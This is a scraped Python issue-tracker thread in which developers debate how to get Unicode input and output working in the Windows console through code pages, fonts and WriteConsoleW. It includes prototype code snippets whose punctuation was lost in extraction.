If you want any kind of Unicode output in the console, the font must be an official MS console TTF official as defined by the Windows version ; I believe only Lucida Console and Consolas are the ones with all MS private settings turned on inside the font file.msg120700 - view Author: STINNER Victor haypo Date: 2010-11-08 I don t understand exactly the goal of this issue. Different people described various bugs of the Windows console, but I don t see any problem with Python here. It looks like it s just not possible to display correctly unicode with the Windows console the whole unicode charset, not the current code page subset.

- 65001 code page: it s not the same encoding than utf-8 and so it cannot be set as an alias to utf-8 see 6058 nothing to do, or maybe document that PYTHONIOENCODING utf-8 workaround But if you do that, you may get strange errors when writing to stdout or stderr like IOError: Errno 13 Permission denied or IOError: Errno 2 No such file or directory

- chcp command sets the console encoding, which is stupid because the console still expects text encoded to the previous code page Windows chcp command bug, chcp command should not be used it doesn t solve any problem, it just makes the situation worse

- use the console API instead of read /write to fix this issue: it doesn t work, the console is completly buggy msg120414 Windows console bug

- use Lucida Console font avoids some issue I don t think that the Python interpreter should configure the console using SetCurrentConsoleFontEx., it s not the role of Python

To me, there is nothing to do, and so I close the bug.

If you would like to fix a particular Python bug, open a new specific issue. If you consider that I m wrong, Python should fix this issue and you know how, please reopen it.msg125823 - view Author: David-Sarah Hopwood davidsarah Date: 2011-01-09 It is certainly possible to write Unicode to the console successfully using WriteConsoleW. This works regardless of the console code page, including 65001. The code here does so it s for Python 2.x, but you d be calling WriteConsoleW from C anyway.

WriteConsoleW has one bug that I know of, which is that it fails when writing more than 26608 characters at once. That s easy to work around by limiting the amount of data passed in a single call.

Fonts are not Python s problem, but encoding is. It doesn t make sense to fail to output the right characters just because some users might not have selected fonts that can display those characters. This bug should be reopened.

For completeness, it is possible to display Unicode on the console using fonts other than Lucida Console and Consolas, but it requires a registry hack. msg125824 - view Author: Glenn Linderman v python Date: 2011-01-09 Interesting.

I was able to tweak David-Sarah s code to work with Python 3.x, mostly doing things that 2to3 would probably do: changing unicode to str, dropping u from u , etc.

I skipped the unmangling of command-line arguments, because it produced an error I didn t understand, about needing a buffer protocol. But I ll attach David-Sarah s code tweaks a test case showing output of the Cyrillic alphabet to a console with code page 437 at least, on my Win7-64 box, that is what it is.

Nice work, David-Sarah. I m quite sure this is not in a form usable inside Python 3, but it shows exactly what could be done inside Python 3 to make things work and gives us a workaround if Python 3 is not fixed.msg125826 - view Author: David-Sarah Hopwood davidsarah Date: 2011-01-09 Glenn Linderman wrote:

I skipped the unmangling of command-line arguments, because it produced an error I didn t understand, about needing a buffer protocol.

If I understand correctly, that part isn t needed on Python 3 because issue2128 is already fixed there.msg125833 - view Author: STINNER Victor haypo Date: 2011-01-09 It is certainly possible to write Unicode to the console

successfully using WriteConsoleW

Did you tried with characters not encodable to the code page and with character that cannot be rendeded by the font.

See msg120414 for my tests with WriteConsoleOutputW.msg125852 - view Author: David-Sarah Hopwood davidsarah Date: 2011-01-09 haypo wrote:

davidsarah wrote:

It is certainly possible to write Unicode to the console

Did you tried with characters not encodable to the code page and with character that cannot be rendeded by the font.

Yes, characters not encodable to the code page do work as confirmed by Glenn Linderman, since code page 437 does not include Cyrillic.

Characters that cannot be rendered by the font print as missing-glyph boxes, as expected. They don t cause any other problem, and they can be cut-and-pasted to other Unicode-aware applications, showing up as the original characters.

See msg120414 for my tests with WriteConsoleOutputW

Even if it handled encoding correctly, WriteConsoleOutputW 28v vs.85 29.aspx would not be the right API to use in any case, because it prints to a rectangle of characters without scrolling. WriteConsoleW does scroll in the same way that printing to a console output stream normally would. Redirection to a non-console stream can be detected and handled differently, as the code in unicode2.py does. msg125877 - view Author: Glenn Linderman v python Date: 2011-01-10 I would certainly be delighted if someone would reopen this issue, and figure out how to translate unicode2.py to Python internals so that Python s console I/O on Windows would support Unicode out of the box.

Otherwise, I ll have to include the equivalent of unicode2.py in all my Python programs, because right now, I m including instructions for the use to 1 choose Lucida or Consolas font if they can t figure out any other font that gets rid of the square boxes 2 chcp 65001 3 set PYTHONIOENCODING UTF-8

Having this capability inside Python or my programs will enable me to eliminate two-thirds of the geeky instructions for my users. But it seems like a very appropriate capability to have within Python, especially Python 3.x with its preference and support Unicode in so many other ways.msg125889 - view Author: David-Sarah Hopwood davidsarah Date: 2011-01-10 I ll have a look at the Py3k I/O internals and see what I can do.

Reopening a bug appears to need Coordinator permissions. msg125890 - view Author: Tim Golden tim.golden Date: 2011-01-10 Reopening as there seems to be some possibility of progressmsg125898 - view Author: Amaury Forgeot d Arc amaury.forgeotdarc Date: 2011-01-10 The script unicode2.py uses the console STD_OUTPUT_HANDLE iff sys.stdout.fileno 1.

But is it always the case. What about pythonw.exe.

Also some applications may redirect fd 1: I m sure that py.test does this setting-capturing-methods-or-disabling-capturing and IIRC Apache also redirects file descriptors.msg125899 - view Author: STINNER Victor haypo Date: 2011-01-10 amaury The script unicode2.py uses the console STD_OUTPUT_HANDLE iff

amaury sys.stdout.fileno 1

Interesting article about the Windows console:

There is an example which has many tests to check that stdout is the windows

console and not a pipe or something else. msg125938 - view Author: David-Sarah Hopwood davidsarah Date: 2011-01-10 The script unicode2.py uses the console STD_OUTPUT_HANDLE iff sys.stdout.fileno 1.

You may have missed if not_a_console hStdout : real_stdout False.

not_a_console uses GetFileType and GetConsoleMode to check whether that handle is directed to something other than a console.

But is it always the case.

The technique used here for detecting a console is almost the same as the code for IsConsoleRedirected at or in WriteLineRight at I got it from that blog, can t remember exactly which page.

This code will give a false positive in the strange corner case that stdout/stderr is redirected to a console input handle. It might be better to use GetConsoleScreenBufferInfo instead of GetConsoleMode, as suggested by 3650507.

What about pythonw.exe.

I just tested that, using pythonw run from cmd.exe with stdout redirected to a file; it works as intended. It also works for both console and non-console cases when the handles are inherited from a parent process.

Incidentally, what s the earliest supported Windows version for Py3k. I see that mentions Windows ME. I can fairly easily make it fall back to never using WriteConsoleW on Windows ME, if that s necessary.msg125942 - view Author: David-Sarah Hopwood davidsarah Date: 2011-01-10 Note: Michael Kaplan s code checks whether GetConsoleMode failed due to ERROR_INVALID_HANDLE. My code intentionally doesn t do that, because it is correct and conservative to fall back to the non-console behaviour when there is any error from GetConsoleMode. It could also fail due to not having the GENERIC_READ right on the handle, for example. msg125947 - view Author: Amaury Forgeot d Arc amaury.forgeotdarc Date: 2011-01-10 Even if python.exe starts normally, py.test for example uses os.dup2 to redirect the file descriptors 1 and 2 to temporary files. sys.stdout.fileno is still 1, the STD_OUTPUT_HANDLE did not change, but normal print now goes to a file; but the proposed script won t detect this and will write to the console

Somehow we should extract the file handle from the file descriptor, with a call to _get_osfhandle for example.msg125956 - view Author: David-Sarah Hopwood davidsarah Date: 2011-01-10 os.dup2

Good point, thanks.

It would work to change os.dup2 so that if its second argument is 0, 1, or 2, it calls _get_osfhandle to get the Windows handle for that fd, and then reruns the console-detection logic. That would even allow Unicode output to work after redirection to a different console.

Programs that directly called the CRT dup2 or SetStdHandle would bypass this. Can we consider such programs to be broken. Methinks a documentation patch for os.dup2 would be sufficient, something like:

When fd1 refers to the standard input, output, or error handles 0, 1 and 2 respectively, this function also ensures that state associated with Python s initial sys. stdin,stdout,stderr streams is correctly updated if needed. It should therefore be used in preference to calling the C library s dup2, or similar APIs such as SetStdHandle on Windows. msg126286 - view Author: Terry J. Reedy terry.reedy Date: 2011-01-14 says

Name: Win9x, WinME, NT4

Unsupported in: Python 2.6 warning in 2.5 installer

Code removed in: Python 2.6

Only xp now. email sent to webmaster

Even if the best fix only applies to win7, please include it.msg126288 - view Author: Brian Curtin brian.curtin Date: 2011-01-14 I think we even agreed to drop 2000, although the PEP hasn t been updated and I couldn t find the supposed email where this was said.

For implementing functionality that isn t supported on all Windows versions or architectures, you can look at PC/winreg.c for a few examples. DisableReflectionKey is a good example off the top of my head.msg126303 - view Author: STINNER Victor haypo Date: 2011-01-14 Here are some results of my test of unicode2.py. I m testing py3k on Windows XP, OEM: cp850, ANSI: cp1252.

Raster fonts

------------

With a fresh console, unicode2.py displays . .. input accepts characters encodable to the OEM code page.

If I set the code page to 65001 chcp program set PYTHONIOENCODING utf-8; or SetConsoleCP SetConsoleOutputCP, it displays weird characters. input accepts ASCII characters, but non-ASCII characters encodable to the console and OEM code pages display weird characters smileys. control characters..

Lucida console

--------------

With my system code page OEM: cp850, characters not encodable to the code pages are displayed correctly. I can type some non-ASCII characters encodable to the code page. If I copy/paste characters non encodable to the code page, there are replaced by similar glyph eg. Ł L or. . .

If I set the code page to 65001, all characters are still correctly displayed. But I cannot type non-ASCII characters anymore: input fails with EOFError I suppose that Python gets control characters.

Redirect output to a pipe

-------------------------

I patched unicode2.py to use sys.stdout.buffer instead of sys.stdout for UnicodeOutput stream. I also patched UnicodeOutput to replace n by r n.

It works correctly with any character. No UTF-8 BOM is written. But Here 1 is written at the end. I suppose that sys.stdout should be flushed before the creation of UnicodeOutput.

But it always use UTF-8. I don t know if UTF-8 is well supported by any application on Windows.

Without unicode2.py, only characters encodable to OEM code page are supported, and n is used as end of line string.

Let s try to summarize

----------------------

Tests:

d1 Display characters encodable to the console code page

t1 Type characters encodable to the console code page

d2 Display characters not encodable to any code page

t2 Type characters not encodable to any code page

I m using Windows with OEM cp850 and ANSI cp1252. For test t2, I copy -Ł and paste it to the console right click on the window title Edit Paste.

Raster fonts, console cp850:

d1 ok

t1 ok

d2 FAIL: -Ł is displayed. -L

t2 FAIL: -Ł is read as. -L

Raster fonts, console cp65001:

d1 FAIL: é is displayed as 2 strange glyphs

t1 FAIL: EOFError

d2 FAIL: only display unreadable glyphs

t2 FAIL: EOFError

Lucida console, console cp850:

d2 ok

Lucida console, console cp65001:

So, setting the console code page to 65001 doesn t solve any issue, but it breaks the input input with the keyboard or pasting text.

With Raster fonts or Lucida console, it s possible to display characters encodable to the code page. But it is not new, it s already possible with Python 3. But for characters not encodable to the code page, it works with unicode2.py and Lucida console, with is something new :-

For the input, I suppose that we need also to use a Windows console function, to support unencodable characters.msg126304 - view Author: STINNER Victor haypo Date: 2011-01-14 , because right now, I m including instructions for the use to

1 choose Lucida or Consolas font if they can t figure out

any other font that gets rid of the square boxes

2 chcp 65001

3 set PYTHONIOENCODING UTF-8

Why do you set the code page to 65001. In all my tests on Windows XP, it always break the standard input.msg126308 - view Author: Glenn Linderman v python Date: 2011-01-15 Victor said:

Why do you set the code page to 65001. In all my tests on Windows XP, it always break the standard input.

My response:

Because when I searched Windows for Unicode and/or UTF-8 stuff, I found 65001, and it seems like it might help, and it does a bit. And then I find PYTHONIOENCODING, and that helps some. And that got me something that works better enough than what I had before, so I quit searching.

You did a better job of analyzing and testing all the cases. I will have to go subtract the 65001 part, and confirm your results, maybe it is useless now that other pieces of the puzzle are in place. Certainly with David-Sarah s code it seems to not be needed, whether it was a necessary part of the previous workaround I am not sure, because of the limited number of cases I tried trying to find something that worked well enough, but not having enough knowledge to find David-Sarah s solution, nor a good enough testing methodology to try the pieces independently.

Thank your for your interest in this issue.msg126319 - view Author: sorin sorin Date: 2011-01-15 remeber that cp65001 cannot be set on windows. Also please read and contact the author, Michael Kaplan from Microsoft, if you have more questions. I m sure he will be glad to help.msg127782 - view Author: David-Sarah Hopwood davidsarah Date: 2011-02-03 Feedback from Julie Solon of Microsoft:

These console functions share a per-process heap that is 64K. There is some overhead, the heap can get fragmented, and calls from multiple threads all affect how much is available for this buffer.

I am working to update the documentation for this function WriteConsoleW and other affected functions with information along these lines, and will post it within the next week or two.

I replied thanking her and asking for clarification:

When you say that the heap can get fragmented, is this true only when

there are concurrent calls to the console functions, or can it occur

even with single-threaded use. I m trying to determine whether acquiring

a process-global lock while calling these functions would be sufficient

to ensure that the available heap space will not be unexpectedly low.

This assumes that the functions not used outside the lock by other

libraries in the same process.

ReadConsoleW seems also to be affected, incidentally.

I ve asked for clarification about whether acquiring a process-global lock when using these functions

Juliemsg131657 - view Author: STINNER Victor haypo Date: 2011-03-21 I did some tests with WriteConsoleW :

- with raster fonts, U 00E9 is displayed as é, U 0141 as L and U 042D as. good work as expected

- with TrueType font Lucida, U 00E9 is displayed as é, U 0141 as Ł and U 042D as Э perfect. all characters are rendered correctly

Now I agree that WriteConsoleW is the best solution to fix this issue.

My test code added to Python/sysmodule.c :

---------

static PyObject

sys_write_stdout PyObject self, PyObject args

PyObject textobj;

wchar_t text;

DWORD written, total;

Py_ssize_t len, chunk;

HANDLE console;

BOOL ok;

if . PyArg_ParseTuple args, U:write_stdout, textobj

return NULL;

console GetStdHandle STD_OUTPUT_HANDLE ;

if console INVALID_HANDLE_VALUE

PyErr_SetFromWindowsErr GetLastError ;

text PyUnicode_AS_UNICODE textobj ;

len PyUnicode_GET_SIZE textobj ;

total 0;

while len. 0

if len 10000

/ WriteConsoleW is limited to 64 KB 32,768 UTF-16 units, but

this limit depends on the heap usage. Use a safe limit of 10,000

UTF-16 units.

/

chunk 10000;

else

chunk len;

ok WriteConsoleW console, text, chunk, written, NULL ;

if . ok

break;

text written;

len - written;

total written;

return PyLong_FromUnsignedLong total ;

The question is now how to integrate WriteConsoleW into Python without breaking the API, for example:

- Should sys.stdout be a TextIOWrapper or not.

- Should sys.stdout.fileno returns 1 or raise an error.

- What about sys.stdout.buffer: should sys.stdout.buffer.write calls WriteConsoleA or sys.stdout should not have a buffer attribute. I think that many modules and programs now rely on sys.stdout.buffer to write directly bytes into stdout. There is at least python -m base64.

- Should we use ReadConsoleW for stdin.msg131854 - view Author: David-Sarah Hopwood davidsarah Date: 2011-03-23 For anyone wondering about the hold-up on this bug, I ended up switching to Ubuntu. Not to worry, I now have Python 3 building in XP under VirtualBox -- which is further than I ever got with my broken Vista install :-/ It seems to behave identically to native XP as far as this bug is concerned.

Victor STINNER wrote:

The question is now how to integrate WriteConsoleW into Python without breaking the API, for example:

It pretty much has to be a TextIOWrapper for compatibility. Also it s easier to implement it that way, because the text stream object has to be able to fall back to using the buffer if the fd is redirected.

Return sys.stdout.buffer.fileno, which is 1 unless redirected.

This is the Right Thing because in Windows, fds are an abstraction of the C runtime library, and the C runtime allows an fd to be associated with a console. In that case, from the application s point of view it is still writing to the same fd. In fact, we d be implementing this by calling the WriteConsoleW win32 API directly in order to avoid bugs in the CRT s Unicode support, but that s an implementation detail.

- What about sys.stdout.buffer: should sys.stdout.buffer.write calls WriteConsoleA or sys.stdout should not have a buffer attribute.

I was thinking that sys.std out,err. buffer would still be set up exactly as they are now. Then if an app writes to that buffer, it will get interleaved with any writes via the text stream. The writes to the buffer go to the underlying fd, which probably ends up calling WriteFile at the win32 level.

I think that many modules and programs now rely on sys.stdout.buffer to write directly bytes into stdout. There is at least python -m base64.

That would just work. The only caveat would be that if you write a partial line to the buffer object or if you set the buffer object to be fully buffered and write to it, and then write to the text stream, the buffer wouldn t be flushed before the text is written. I think that is fine as long as it is documented.

If an app sets the. buffer attribute of sys.std out,err, it would fall back to using that buffer in the same way as when the fd is redirected.

- Should we use ReadConsoleW for stdin.

Yes. I ll probably start with a patch that just handles std out,err, though.msg132060 - view Author: David-Sarah Hopwood davidsarah Date: 2011-03-25 I wrote:

The only caveat would be that if you write a partial line to the buffer object or if you set the buffer object to be fully buffered and write to it, and then write to the text stream, the buffer wouldn t be flushed before the text is written.

Actually it looks like that already happens because the sys.std out,err TextIOWrappers are line-buffered separately to their underlying buffers, so it would not be an incompatibility:

python3 -c import sys; sys.stdout.write foo ; sys.stdout.buffer.write b bar ; sys.stdout.write baz n

barfoobazmsg132061 - view Author: David-Sarah Hopwood davidsarah Date: 2011-03-25 I wrote:

barfoobaz

Hmm, the behaviour actually would differ here: the proposed implementation would print

foobaz

bar

the foobaz n is written by a call to WriteConsoleW and then the bar gets flushed to stdout when the process exits.

But since the naive expectation is foobarbaz n and you already have to flush after each call in order to get that, I think this change in behaviour would be unlikely to affect correct applications.msg132062 - view Author: Glenn Linderman v python Date: 2011-03-25 Presently, a correct application only needs to flush between a sequence of writes and a sequence of buffer.writes.

Don t assume the flush happens after every write, for a correct application.msg132064 - view Author: David-Sarah Hopwood davidsarah Date: 2011-03-25 Glenn Linderman wrote:

Presently, a correct application only needs to flush between a sequence of writes and a sequence of buffer.writes.

Right. The new requirement would be that a correct app also needs to flush between a sequence of buffer.writes that end in an incomplete line, or always if PYTHONUNBUFFERED or python -u is used, and a sequence of writes.

Don t assume the flush happens after every write, for a correct application.

It s rather hard to implement this without any change in behaviour. Or rather, it isn t hard if the TextIOWrapper were to flush its underlying buffer before each time it writes to the console, but I d be concerned about the extra overhead of that call. I d prefer not to do that unless the new requirement above leads to incompatibilities in practice.msg132065 - view Author: Glenn Linderman v python Date: 2011-03-25 Would it suffice if the new scheme internally flushed after every buffer.write. It wouldn t be needed after write, because the correct application would already do one there.

Am I off-base in supposing that the performance of buffer.write is expected to include a flush because it isn t expected to be buffered. msg132067 - view Author: STINNER Victor haypo Date: 2011-03-25 Le vendredi 25 mars 2011 à 0000, David-Sarah Hopwood a écrit :

David-Sarah Hopwood added the comment:

I wrote:

python3 -c import sys; sys.stdout.write foo ;

sys.stdout.buffer.write b bar ; sys.stdout.write baz n

barfoobaz

Hmm, the behaviour actually would differ here: the proposed

implementation would print

foobaz

bar

the foobaz n is written by a call to WriteConsoleW and then the

bar gets flushed to stdout when the process exits.

But since the naive expectation is foobarbaz n and you already have

to flush after each call in order to get that, I think this change in

behaviour would be unlikely to affect correct applications.

I would not call this naive. foobaz nbar is really weird. I think

that sys.stdout and sys.stdout.buffer will both have to flush after each

write, or they may be desynchronized.

Some developers already think that adding sys.stdout.flush after

print Processing.. , end is too hard 11633. So I cannot imagine

how they would react if they will have to do it explicitly after all

print, sys.stdout.write and sys.stdout.buffer.write. msg132184 - view Author: David-Sarah Hopwood davidsarah Date: 2011-03-25 First a minor correction:

The new requirement would be that a correct app also needs to flush between a sequence of buffer.writes that end in an incomplete line, or always if PYTHONUNBUFFERED or python -u is used, and a sequence of writes.

That should be and only if PYTHONUNBUFFERED or python -u is not used.

I also said:

If an app sets the. buffer attribute of sys.std out,err, it would fall back to using that buffer in the same way as when the fd is redirected.

but the. buffer attribute is readonly, so this case can t occur.

Glenn Linderman wrote:

Would it suffice if the new scheme internally flushed after every buffer.write. It wouldn t be needed after write, because the correct application would already do one there.

Yes, that would be sufficient.

Am I off-base in supposing that the performance of buffer.write is expected to include a flush because it isn t expected to be buffered.

It is expected to be line-buffered. So an app might expect that printing characters one-at-a-time will have reasonable performance.

In any case, given that the buffer of the initial std out,err will always be a BufferedWriter object since. buffer is readonly, it would be possible for the TextIOWriter to test a dirty flag in the BufferedWriter, in order to check efficiently whether the buffer needs flushing on each write. I ve looked at the implementation complexity cost of this, and it doesn t seem too bad.

A similar issue arises for stdin: to maintain strict compatibility, every read from a TextIOWrapper attached to an input console would have to drain the buffer of its buffer object, in case the app has read from it. This is a bit tricky because the bytes drained from the buffer have to be converted to Unicode, so what happens if they end part-way through a multibyte character. Ugh, I ll have to think about that one.

Some developers already think that adding sys.stdout.flush after

print Processing.. , end is too hard 11633.

IIUC, that bug is about the behaviour of print, and didn t suggest to change the fact that sys.stdout is line-buffered.

By the way, are these changes going to be in a major release. If I understand correctly, the layout of structs for standard library types not prefixed with _, such as buffered in bufferedio.c or textio in textio.c can change with major releases but not with minor releases, correct.msg132191 - view Author: David-Sarah Hopwood davidsarah Date: 2011-03-26 I wrote:

A similar issue arises for stdin: to maintain strict compatibility, every read from a TextIOWrapper attached to an input console would have to drain the buffer of its buffer object, in case the app has read from it. This is a bit tricky because the bytes drained from the buffer have to be converted to Unicode, so what happens if they end part-way through a multibyte character. Ugh, I ll have to think about that one.

It seems like there is no correct way for an app to read from both sys.stdin, and sys.stdin.buffer even without these console changes. It must choose one or the other.msg132208 - view Author: Glenn Linderman v python Date: 2011-03-26 David-Sarah said:

So if flush checks that bit, maybe TextIOWriter could just call buffer.flush, and it would be fast if clean and slow if dirty. Calling it at the beginning of a Text level write, that is, which would let the char-at-a-time calls to buffer.write be fast.

And I totally agree with msg132191msg132266 - view Author: David-Sarah Hopwood davidsarah Date: 2011-03-26 Glenn wrote:

So if flush checks that bit, maybe TextIOWriter could just call buffer.flush, and it would be fast if clean and slow if dirty.

Yes. I ll benchmark how much overhead is added by the calls to flush; there s no point in breaking the abstraction boundary of BufferedWriter if it doesn t give a significant performance benefit. I suspect that it might not, because Windows is very slow at scrolling a console, which might make the cost of flushing insignificant in comparison. msg132268 - view Author: Glenn Linderman v python Date: 2011-03-26 David-Sarah wrote:

Windows is very slow at scrolling a console, which might make the cost of flushing insignificant in comparison.

Just for the record, I noticed a huge speedup in Windows console scrolling when I switched from WinXP to Win7 on a faster computer :

How much is due to the XP- 7 switch and how much to the faster computer, I cannot say, but it seemed much more significant than other speedups in other software. The point. Benchmark it on Win7, not XP.msg145898 - view Author: STINNER Victor haypo Date: 2011-10-19 I done more tests on the Windows console. I focused my tests on output.

To sum up, if we implement sys.stdout using WriteConsoleW and sys.stdout.buffer.raw using WriteConsoleA :

- print will not fail anymore on unencodable characters, because the string is no longer encoded to the console code page

- if you set the console font to a TrueType font, most characters will be displayed correctly

- you don t need to change the console code page to CP_UTF8 65001 anymore if you just use print

- you still need cp65001 if the output stdout and/or stderr is redirected or if you use directly sys.stdout.buffer or sys.stderr.buffer

Other facts:

- locale.getpreferredencoding returns the ANSI code page

- sys.stdin.encoding is the console encoding GetConsoleCP

- sys.stdout.encoding and sys.stderr.encoding are the console output code page GetConsoleOutputCP

- sys.stdout is not a TTY if the output is redirect, e.g. python script.py more

- sys.stderr is not a TTY if the output is redirect, e.g. python script.py 2 1 more this example redirects stdout and stderr, I don t know how to redirect only stderr

- WriteConsoleW is not affected by the console output code page GetConsoleOutputCP

- WriteConsoleA is indirectly affected by the console output code page: if a string cannot be encoded to the console output code page e.g. sys.stdout.encoding, you cannot call WriteConsoleA with the result

- If the console font is a raster font and and the font doesn t contain a character, the console tries to find a similar glyph, or it falls back to the character .

- If the console font is a TrueType font, it is able to display most Unicode charactersmsg145899 - view Author: STINNER Victor haypo Date: 2011-10-19 unicode3.py replaces sys.stdout, sys.stdout.buffer, sys.stderr and sys.stderr.buffer to use WriteConsoleW and WriteConsoleA. It displays also a lot of information about encodings and displays some characters I wrote my tests for cp850, cp1252 and cp65001. msg145963 - view Author: STINNER Victor haypo Date: 2011-10-19 win_console.patch: a more complete prototype

patch the site module to replace sys.stdout and sys.stderr by UnicodeConsole and BytesConsole classes which use WriteConsoleW and WriteConsoleA

UnicodeConsole inherits from io.TextIOBase and BytesConsole inherits from io.RawIOBase

Revert the workaround for WriteConsoleA bug from io.FileIO

sys.stdout and/or sys.stderr are only replaced if there are not redirected.msg145964 - view Author: STINNER Victor haypo Date: 2011-10-19 test_win_console.py: Small script to test win_console.patch. Write some characters into sys.stdout.buffer WriteConsoleA and sys.stdout WriteConsoleW. The test is written for cp850, cp1252 and cp65001 code pages.msg146471 - view Author: STINNER Victor haypo Date: 2011-10-26 I added a cp65001 codec to Python 3.3: see issue 13216.msg148990 - view Author: Matt Mackall Matt.Mackall Date: 2011-12-07 The underlying cause of Python s write exceptions with cp65001 is:

The ANSI C write function as implemented by the Windows console returns the number of _characters_ written rather than the number of _bytes_, which Python reasonably interprets as a short write error. It then consults errno, which gives the effectively random error message seen.

This can be bypassed by using os.write sys.stdout.fileno, utf8str, which will a succeed and b return a count len utf8str.

With os.write and an appropriate font, the Windows console will correctly display a large number of characters.

Possible workaround: clear errno before calling write, check for non-zero errno after. The vast majority of non-Python applications never check the return value of write, so don t encounter this problem.msg157569 - view Author: STINNER Victor haypo Date: 2012-04-05 The issue 14227 has been marked as a duplicate of this issue. Copy of msg155149:

This is on Windows 7 SP1. Run chcp 65001 then Python from a console. Note the extra characters when non-ASCII characters are in the string. At a guess it appears to be using the UTF-8 byte length of the internal representation instead of the character count.

Python 3.3.0a1 default, Mar 4 2012, :59 MSC v.1500 32 bit Intel on win32

print hello

hello

print p u012bny u012bn

pīnyīn

n

print u012b 10

īīīīīīīīīī

īīīī

īmsg160812 - view Author: Glenn Linderman v python Date: 2012-05-16 Has something incompatible changed between 3.2.2 and 3.2.3 with respect to this bug.

I have a program that had an earlier version of the workaround Michael s original, I think, and it worked fine, then I upgraded from 3.2.2 to 3.2.3 due to testing for issue 14811 and then the old workaround started complaining about no attribute errors.

So I grabbed unicode3.py, but it does the same thing:

AttributeError: UnicodeConsole object has no attribute errors

I have no clue how to fix this, other than going back to Python 3.2.2msg160813 - view Author: Glenn Linderman v python Date: 2012-05-16 Oh, and is this issues going to be fixed for 3.3, so we don t have to use the workaround in the future.msg160897 - view Author: Terry J. Reedy terry.reedy Date: 2012-05-16 Glenn, I do not know what you are using the interactive interpreter for, but for the unicode BMP, the Idle shell generally works better. I only use CommandPrompt for cross-checking behavior.msg161151 - view Author: Giampaolo Rodola giampaolo.rodola Date: 2012-05-19 Not sure whether a solution has already been proposed because the issue is very long, but I just bumped into this on Windows and come up with this:

from __future__ import print_function

import sys

def safe_print s :

try:

print s

except UnicodeEncodeError:

if sys.version_info 3, :

print s.encode utf8. decode sys.stdout.encoding

else:

print s.encode utf8

safe_print u N EM DASH

Couldn t python do the same thing internally.msg161153 - view Author: David-Sarah Hopwood davidsarah Date: 2012-05-19 Giampaolo: See msg120700 for why that won t work, and the subsequent comments for what will work instead basically, using WriteConsoleW and a workaround for a Windows API bug. Also see the prototype win_console.patch from Victor Stinner: msg145963msg161308 - view Author: Glenn Linderman v python Date: 2012-05-21 I actually had to go back to 3.1.2 to get it to run, I guess I had never run with Unicode output after installing 3.2. So it isn t an incompatibility between 3.2.2 and 3.2.3, but more likely a change between 3.1 and 3.2 that invalidates this patch and workaround. At least it is easier to keep 3.1.x and 3.2.x on the same system.

Terry, applications for non-programmers that want to emit Unicode on the console so the IDLE shell isn t appropriate.msg161651 - view Author: Glenn Linderman v python Date: 2012-05-26 A little more empirical info: the missing errors attribute doesn t show up except for input. print works fine.msg164572 - view Author: Glenn Linderman v python Date: 2012-07-03 For the win_console.patch, it seems like adding the line

self.errors strict

inside UnicodeOutput.__init__ resolves the problem with input causing exceptions.

Not sure if the sys_write_stdout.patch has the same sort of problem. Sure home this issue makes it into 3.3.msg164578 - view Author: Terry J. Reedy terry.reedy Date: 2012-07-03 3.3b0, Win7, 64 bit. Original test script stops at

File C: Programs Python33 lib encodings cp437.py, line 19, in encode

return codecs.charmap_encode input,self.errors,encoding_map 0

UnicodeEncodeError: charmap codec can t encode character x80 in position 6:

I am slightly puzzled because cp437 is an extended ascii codepage and there is a character for 0x80

https://en.wikipedia.org/wiki/Code_page_437

If I add. encode latin1, it does not print the pentagon for 0x7e, but does print x7e to xff.

Someone wrote elsewhere that 3.3 could use cp65001. True.msg164580 - view Author: Glenn Linderman v python Date: 2012-07-03 My fix for this errors error, might be similar to what is needed for issue 12967, although I don t know if my fix is really correct just that it gets past the error, and strict is the default for TextIOWrapper.

I m not at all sure why there is now since 3.2 an interaction between input on stdin and the particulars of the output class for stdout. But I m not at all an expert in Python internals or Python IO.

I m not sure whether or not you applied the patch to your b0, if not, that is what I m running, too but using the win_console.patch as supporting code. The original test script didn t use the supporting code.

If you did patch your b0 bwith unicode3.py, then you shouldn t need to do a chcp to write any Unicode characters; someone reported that doing a chcp caused problems, but I don t know how to apply the patch or build a Python with it, so can t really test all the cases. Victor did add a cp65001 codec using a different issue, not sure how that is relevant here, other than for the tests he wrote.msg164618 - view Author: Terry J. Reedy terry.reedy Date: 2012-07-03 I was reporting stock, as distributed 3.3b0.

Is unicode3.py something to run once or import in each app that wants unicode output. Either way, if it is possible to fix the console, why is it not distribute it with the fix.

Terry, applications for non-programmers that want to emit Unicode on the console so the IDLE shell isn t appropriate.

Someone just posted on python-list about a problem with that.

Hmm. Maybe IDLE should gain a batch-mode console window -- basically a stripped down version of the current shell -- a minimal auto-gui for apps.msg164619 - view Author: Glenn Linderman v python Date: 2012-07-03 Terry said:

Is unicode3.py something to run once or import in each app that wants unicode output.

I say:

The latter import it.

Terry said:

Either way, if it is possible to fix the console, why is it not distribute it with the fix.

Not sure what you are asking here. Yes it is possible to fix the console, but this fix depends on the version-specific internals of the Python IO system so unicode3.py works with Python 3.1, but not Python 3.2 or 3.3. I haven t tested to see if my patched unicode3.py still works on Python 3.1 I imagine it would, due to the nature of the fix just adding something that Python 3.1 probably would ignore.

So my opinion is the fix is better done inside Python than inside the application.msg170899 - view Author: Adam Bartoš Drekin Date: 2012-09-21 Hello, I m trying to handle Unicode input and output in Windows console and found this issue. Will this be solved in 3.3 final. I tried to write a solution file attached based on solution here – rewriting sys.stdin and sys.stdout so it uses ReadConsoleW and WriteConsoleW.

Output works well, but there are few problems with input. First, the Python interactive interpreter actually doesn t use sys.stdin but standard C stdin. It s implemented over file pointer PyRun_InteractiveLoopFlags, PyRun_InteractiveOneFlags in pythonrun. But still the interpreter uses sys.stdin.encoding assigning sys.stdin something, that doesn t have encoding None freezes the interpreter. Wouldn t it make more sense if it used sys.__stdin__.encoding.

However, input which uses stdin.readline works as expected. There s a small problem with KeyboardInterrupt. Since signals are processed asynchronously, it s raised at random place and it behaves wierdly. time.sleep 0.01 after the C call works well, but it s an ugly solution.

When code.interact is used instead of standard interpreter, it works as expected. Is there a way of changing the intepreter loop. Some hook which calls code.interact at the right place. The patch can be applied in site or sitecustomized, but calling code.iteract there obviously doesn t work.

Some other remarks:

- When sys.stdin or sys.stdout doesn t define encoding and errors, input raises TypeError: bad argument type for built-in operation.

- input raises KeyboardInterrupt on Ctrl-C in Python 3.2 but not in Python 3.3rc2.msg170915 - view Author: STINNER Victor haypo Date: 2012-09-21 Will this issue be solved in 3.3 final.

No. It would be an huge change and the RC2 was already released. No

new feature are accepted after the version 3.3.0 beta 1:

I m not really motivated to work on this issue, because it is really

hard to get something working in all cases. Using

ReadConsoleW/WriteConsoleW helps, but it doesn t solve all issues as

